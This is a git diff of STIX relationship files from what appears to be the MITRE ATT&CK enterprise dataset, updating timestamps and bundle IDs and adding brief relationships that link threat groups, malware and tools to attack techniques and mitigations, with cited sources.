@@ -8,7 +8,7 @@
             "id": "relationship--eede138c-9745-453c-a8b5-684b696c2ad0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.027Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d75a3d1b-b536-4f15-a23c-f4bcc17837b8",
             "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
diff --git a/enterprise-attack/relationship/relationship--eeeac3c6-78d1-4506-a9a9-2518d0c6e500.json b/enterprise-attack/relationship/relationship--eeeac3c6-78d1-4506-a9a9-2518d0c6e500.json
index c79b96e070..d253b7df58 100644
--- a/enterprise-attack/relationship/relationship--eeeac3c6-78d1-4506-a9a9-2518d0c6e500.json
+++ b/enterprise-attack/relationship/relationship--eeeac3c6-78d1-4506-a9a9-2518d0c6e500.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e047ed3c-7d09-4715-9fcc-e2270d3249b2",
+    "id": "bundle--e5a2e9fc-6bc6-4660-9073-8473b2d96aa7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--eeeac3c6-78d1-4506-a9a9-2518d0c6e500",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "schtasks is used to schedule tasks on a Windows system to run at a specific date and time.",
             "source_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04",
diff --git a/enterprise-attack/relationship/relationship--ef1cdbe7-29c9-4be9-a3f7-96e5b7bae031.json b/enterprise-attack/relationship/relationship--ef1cdbe7-29c9-4be9-a3f7-96e5b7bae031.json
new file mode 100644
index 0000000000..61b70e68bf
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ef1cdbe7-29c9-4be9-a3f7-96e5b7bae031.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--15c73604-b74a-4a48-ad4d-2b10bef246ca",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ef1cdbe7-29c9-4be9-a3f7-96e5b7bae031",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T21:43:14.128Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to pack their tools.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88",
+            "external_references": [
+                {
+                    "source_name": "APT3 Adversary Emulation Plan",
+                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
+                    "url": "https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ef2b823b-2fb1-442a-9d91-cf088242f6a6.json b/enterprise-attack/relationship/relationship--ef2b823b-2fb1-442a-9d91-cf088242f6a6.json
index 5687bc6bb3..5d942123d3 100644
--- a/enterprise-attack/relationship/relationship--ef2b823b-2fb1-442a-9d91-cf088242f6a6.json
+++ b/enterprise-attack/relationship/relationship--ef2b823b-2fb1-442a-9d91-cf088242f6a6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6ecb5f36-f046-4190-851f-4f6294ff0ba9",
+    "id": "bundle--da971e59-2c95-41b2-a519-b0d19d623546",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ef2b823b-2fb1-442a-9d91-cf088242f6a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf",
             "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
diff --git a/enterprise-attack/relationship/relationship--ef318b23-1b8c-4c24-ad20-09c0977a73b3.json b/enterprise-attack/relationship/relationship--ef318b23-1b8c-4c24-ad20-09c0977a73b3.json
new file mode 100644
index 0000000000..b53ba26915
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ef318b23-1b8c-4c24-ad20-09c0977a73b3.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--0606a399-88f2-4643-ae69-5558711693dd",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ef318b23-1b8c-4c24-ad20-09c0977a73b3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses the command line.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ef79ec2f-fd7f-4f0b-851c-d215693987be.json b/enterprise-attack/relationship/relationship--ef79ec2f-fd7f-4f0b-851c-d215693987be.json
index 1910775a4f..c60eca0a8d 100644
--- a/enterprise-attack/relationship/relationship--ef79ec2f-fd7f-4f0b-851c-d215693987be.json
+++ b/enterprise-attack/relationship/relationship--ef79ec2f-fd7f-4f0b-851c-d215693987be.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1d2e3570-4927-409d-a8e9-40f3c01809a7",
+    "id": "bundle--2fd8cfe3-8ea4-4761-9055-8d653b06f0df",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ef79ec2f-fd7f-4f0b-851c-d215693987be",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.017Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a",
             "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
diff --git a/enterprise-attack/relationship/relationship--efa2ae6b-8942-4ea2-80ca-b4181dd01427.json b/enterprise-attack/relationship/relationship--efa2ae6b-8942-4ea2-80ca-b4181dd01427.json
new file mode 100644
index 0000000000..dcb1e17c02
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--efa2ae6b-8942-4ea2-80ca-b4181dd01427.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--f7927e17-7ce5-4475-8fdf-2175910e8d12",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--efa2ae6b-8942-4ea2-80ca-b4181dd01427",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--94f6b4f5-b528-4f50-91d5-f66457c2f8f7",
+            "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--efa98949-4b58-4407-8fa2-366c06dc2ed9.json b/enterprise-attack/relationship/relationship--efa98949-4b58-4407-8fa2-366c06dc2ed9.json
index 3417cc4834..a3f51f5b3d 100644
--- a/enterprise-attack/relationship/relationship--efa98949-4b58-4407-8fa2-366c06dc2ed9.json
+++ b/enterprise-attack/relationship/relationship--efa98949-4b58-4407-8fa2-366c06dc2ed9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--26b6316e-7a53-45f1-89c5-4a196fa30d19",
+    "id": "bundle--aa1798d6-76ba-42a8-9186-1241c277f995",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--efa98949-4b58-4407-8fa2-366c06dc2ed9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has used Systeminfo to gather the OS version, as well as information on the system configuration, BIOS, the motherboard, and the processor. ",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -22,7 +22,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--efbe5efa-6863-4334-90e5-d7caab9806a6.json b/enterprise-attack/relationship/relationship--efbe5efa-6863-4334-90e5-d7caab9806a6.json
index b3fc3c9eef..61b3c92374 100644
--- a/enterprise-attack/relationship/relationship--efbe5efa-6863-4334-90e5-d7caab9806a6.json
+++ b/enterprise-attack/relationship/relationship--efbe5efa-6863-4334-90e5-d7caab9806a6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8a091146-512f-48ed-9dd2-95a176848964",
+    "id": "bundle--ca86ff43-7aa6-4867-91db-0182bc38a9ed",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--efbe5efa-6863-4334-90e5-d7caab9806a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers system information via WMI, including the system directory, build number, serial number, version, manufacturer, model, and total physical memory.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--f004e6c4-0c37-4060-9627-9ec0940aee9c.json b/enterprise-attack/relationship/relationship--f004e6c4-0c37-4060-9627-9ec0940aee9c.json
index 7fec66c5c1..d1592c7af2 100644
--- a/enterprise-attack/relationship/relationship--f004e6c4-0c37-4060-9627-9ec0940aee9c.json
+++ b/enterprise-attack/relationship/relationship--f004e6c4-0c37-4060-9627-9ec0940aee9c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--96ba89ee-72c5-4301-bc3e-065ad00e82e4",
+    "id": "bundle--aa816301-836b-415f-8dbe-0e12737ba120",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f004e6c4-0c37-4060-9627-9ec0940aee9c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--74febc44-8955-4e4d-aca0-d4dad2f967d7",
             "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
diff --git a/enterprise-attack/relationship/relationship--f017f6c0-96f4-46f1-905f-44e9950effbc.json b/enterprise-attack/relationship/relationship--f017f6c0-96f4-46f1-905f-44e9950effbc.json
index 64eaf5a121..53272f5e9c 100644
--- a/enterprise-attack/relationship/relationship--f017f6c0-96f4-46f1-905f-44e9950effbc.json
+++ b/enterprise-attack/relationship/relationship--f017f6c0-96f4-46f1-905f-44e9950effbc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--db15eb08-fe48-43d5-9ebc-624d03afda60",
+    "id": "bundle--52c8ce9a-c1e3-4aac-a1d8-e033d88a88fd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f017f6c0-96f4-46f1-905f-44e9950effbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi collects current and parent process IDs.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--f02f0a58-a76b-4966-8717-8a9b40b07e81.json b/enterprise-attack/relationship/relationship--f02f0a58-a76b-4966-8717-8a9b40b07e81.json
index 1769451d3d..db1e4a2251 100644
--- a/enterprise-attack/relationship/relationship--f02f0a58-a76b-4966-8717-8a9b40b07e81.json
+++ b/enterprise-attack/relationship/relationship--f02f0a58-a76b-4966-8717-8a9b40b07e81.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3c958998-aebe-489f-b5b3-b67d760e4744",
+    "id": "bundle--7dc5d2da-7fd2-484d-bc39-5a18e32fa921",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f02f0a58-a76b-4966-8717-8a9b40b07e81",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SNUGRIDE encrypts C2 traffic using AES with a static key.",
             "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
diff --git a/enterprise-attack/relationship/relationship--f08c1f67-485b-4ebd-81dd-e886f63025e6.json b/enterprise-attack/relationship/relationship--f08c1f67-485b-4ebd-81dd-e886f63025e6.json
index fe5ef64e1b..06057e9614 100644
--- a/enterprise-attack/relationship/relationship--f08c1f67-485b-4ebd-81dd-e886f63025e6.json
+++ b/enterprise-attack/relationship/relationship--f08c1f67-485b-4ebd-81dd-e886f63025e6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f7656970-89f3-4f8c-82fc-734e4e3967e9",
+    "id": "bundle--6ea251ea-3c0f-48ba-8bec-8724911739b0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f08c1f67-485b-4ebd-81dd-e886f63025e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
diff --git a/enterprise-attack/relationship/relationship--f0b00a47-9d63-4d05-b771-022a21a4ed06.json b/enterprise-attack/relationship/relationship--f0b00a47-9d63-4d05-b771-022a21a4ed06.json
index 8a237fc56c..ce11e53f54 100644
--- a/enterprise-attack/relationship/relationship--f0b00a47-9d63-4d05-b771-022a21a4ed06.json
+++ b/enterprise-attack/relationship/relationship--f0b00a47-9d63-4d05-b771-022a21a4ed06.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--65222284-e519-43c1-bff2-9caf9e6e5439",
+    "id": "bundle--d035dc66-8512-4934-802e-962d14a44335",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f0b00a47-9d63-4d05-b771-022a21a4ed06",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke achieves persistence by using various Registry Run keys.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
diff --git a/enterprise-attack/relationship/relationship--f0b3c919-bf39-4bc9-9488-5f30d5407c54.json b/enterprise-attack/relationship/relationship--f0b3c919-bf39-4bc9-9488-5f30d5407c54.json
new file mode 100644
index 0000000000..ded82a0a62
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--f0b3c919-bf39-4bc9-9488-5f30d5407c54.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--0df5520e-9ba9-4928-a8ea-ce283af844fe",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--f0b3c919-bf39-4bc9-9488-5f30d5407c54",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to create or enable accounts, such as <code>support_388945a0</code>. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
+            "external_references": [
+                {
+                    "source_name": "aptsim",
+                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--f0cf3ea2-5345-48d7-9685-be0180eb0e4a.json b/enterprise-attack/relationship/relationship--f0cf3ea2-5345-48d7-9685-be0180eb0e4a.json
index 6a9f5ba2c5..934eef15c1 100644
--- a/enterprise-attack/relationship/relationship--f0cf3ea2-5345-48d7-9685-be0180eb0e4a.json
+++ b/enterprise-attack/relationship/relationship--f0cf3ea2-5345-48d7-9685-be0180eb0e4a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--152fa396-e4d7-4667-bb74-f2c2fb441aae",
+    "id": "bundle--fa202e1c-8f42-4f99-8588-e1aac20baa9f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f0cf3ea2-5345-48d7-9685-be0180eb0e4a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can obtain information about process integrity levels.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--f0d218a3-9f7b-4f21-aa4a-34dc25f05b61.json b/enterprise-attack/relationship/relationship--f0d218a3-9f7b-4f21-aa4a-34dc25f05b61.json
index d0fd01028b..725b8adc06 100644
--- a/enterprise-attack/relationship/relationship--f0d218a3-9f7b-4f21-aa4a-34dc25f05b61.json
+++ b/enterprise-attack/relationship/relationship--f0d218a3-9f7b-4f21-aa4a-34dc25f05b61.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4ea17f57-f55d-4778-ba72-96302ef929fe",
+    "id": "bundle--46d97f0f-3e00-459d-b4fc-52342db6409e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f0d218a3-9f7b-4f21-aa4a-34dc25f05b61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "netsh can be used to discover system firewall settings.",
             "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
diff --git a/enterprise-attack/relationship/relationship--f1000a93-e87d-4acf-b71d-73c3bb05fd75.json b/enterprise-attack/relationship/relationship--f1000a93-e87d-4acf-b71d-73c3bb05fd75.json
index 4c3084f626..d0e6c90110 100644
--- a/enterprise-attack/relationship/relationship--f1000a93-e87d-4acf-b71d-73c3bb05fd75.json
+++ b/enterprise-attack/relationship/relationship--f1000a93-e87d-4acf-b71d-73c3bb05fd75.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--944c0f01-d07d-4219-b72a-4173066321ef",
+    "id": "bundle--33064e9a-70a9-4f60-8a70-77e2a5a94647",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f1000a93-e87d-4acf-b71d-73c3bb05fd75",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.020Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44",
             "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
diff --git a/enterprise-attack/relationship/relationship--f132ff40-9e9d-49b8-a47d-832a21e1e56d.json b/enterprise-attack/relationship/relationship--f132ff40-9e9d-49b8-a47d-832a21e1e56d.json
index 413dd66d37..f9e2fc34eb 100644
--- a/enterprise-attack/relationship/relationship--f132ff40-9e9d-49b8-a47d-832a21e1e56d.json
+++ b/enterprise-attack/relationship/relationship--f132ff40-9e9d-49b8-a47d-832a21e1e56d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7e3cc7f3-6ef9-469d-9df7-cc9f7faed345",
+    "id": "bundle--89906f0f-5d96-4642-9bbc-5597970da158",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f132ff40-9e9d-49b8-a47d-832a21e1e56d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.021Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--e0703d4f-3972-424a-8277-84004817e024",
             "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02",
diff --git a/enterprise-attack/relationship/relationship--f146a331-3595-46be-abef-518708e34def.json b/enterprise-attack/relationship/relationship--f146a331-3595-46be-abef-518708e34def.json
index 5528e373c1..5e4d4f1522 100644
--- a/enterprise-attack/relationship/relationship--f146a331-3595-46be-abef-518708e34def.json
+++ b/enterprise-attack/relationship/relationship--f146a331-3595-46be-abef-518708e34def.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--72e3f136-c873-4c28-a9f7-f54736d2d9f5",
+    "id": "bundle--6ce8a125-d8d1-41c8-825c-5469276085fe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f146a331-3595-46be-abef-518708e34def",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--f16c18f0-c5ac-4ea2-bfd0-222e63c09018.json b/enterprise-attack/relationship/relationship--f16c18f0-c5ac-4ea2-bfd0-222e63c09018.json
index 58948939dd..44d8e8f648 100644
--- a/enterprise-attack/relationship/relationship--f16c18f0-c5ac-4ea2-bfd0-222e63c09018.json
+++ b/enterprise-attack/relationship/relationship--f16c18f0-c5ac-4ea2-bfd0-222e63c09018.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2a54a9e3-2cc2-40cd-8786-aa6f6f4b5794",
+    "id": "bundle--1a80e705-fe6e-4a42-8973-a2fe07a2af43",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f16c18f0-c5ac-4ea2-bfd0-222e63c09018",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used Putty Secure Copy Client (PSCP) to transfer data.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--f19234f6-5b59-4229-aae1-70df380a076a.json b/enterprise-attack/relationship/relationship--f19234f6-5b59-4229-aae1-70df380a076a.json
index f30e7ee017..dd183e18f4 100644
--- a/enterprise-attack/relationship/relationship--f19234f6-5b59-4229-aae1-70df380a076a.json
+++ b/enterprise-attack/relationship/relationship--f19234f6-5b59-4229-aae1-70df380a076a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dd21ae5b-3f8d-40ee-a924-cad24cafc0ba",
+    "id": "bundle--da9f08a9-337a-45ee-acdc-60a1787f51a0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f19234f6-5b59-4229-aae1-70df380a076a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea collects information about the OS, computer name, and Internet adapter configuration.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
diff --git a/enterprise-attack/relationship/relationship--f19f6e41-14b2-44a1-940f-6a6f2cfab6be.json b/enterprise-attack/relationship/relationship--f19f6e41-14b2-44a1-940f-6a6f2cfab6be.json
index 78088bb86f..affcbfc206 100644
--- a/enterprise-attack/relationship/relationship--f19f6e41-14b2-44a1-940f-6a6f2cfab6be.json
+++ b/enterprise-attack/relationship/relationship--f19f6e41-14b2-44a1-940f-6a6f2cfab6be.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--65f9d6fa-575a-4ba0-8e4a-537271a53f07",
+    "id": "bundle--b765df70-f9a0-4796-890c-a3985bc666e2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f19f6e41-14b2-44a1-940f-6a6f2cfab6be",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "LOWBALL command and control occurs via HTTPS over port 443.",
             "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
diff --git a/enterprise-attack/relationship/relationship--f1af286d-9367-45de-aced-a762838e58bd.json b/enterprise-attack/relationship/relationship--f1af286d-9367-45de-aced-a762838e58bd.json
index 271c740b50..ee52f8a5d8 100644
--- a/enterprise-attack/relationship/relationship--f1af286d-9367-45de-aced-a762838e58bd.json
+++ b/enterprise-attack/relationship/relationship--f1af286d-9367-45de-aced-a762838e58bd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--322cf3dc-57aa-4d9f-a526-a3beda856506",
+    "id": "bundle--ba5558c3-ffcd-4dfa-a09a-727dab272a4c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--f1af286d-9367-45de-aced-a762838e58bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
             "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
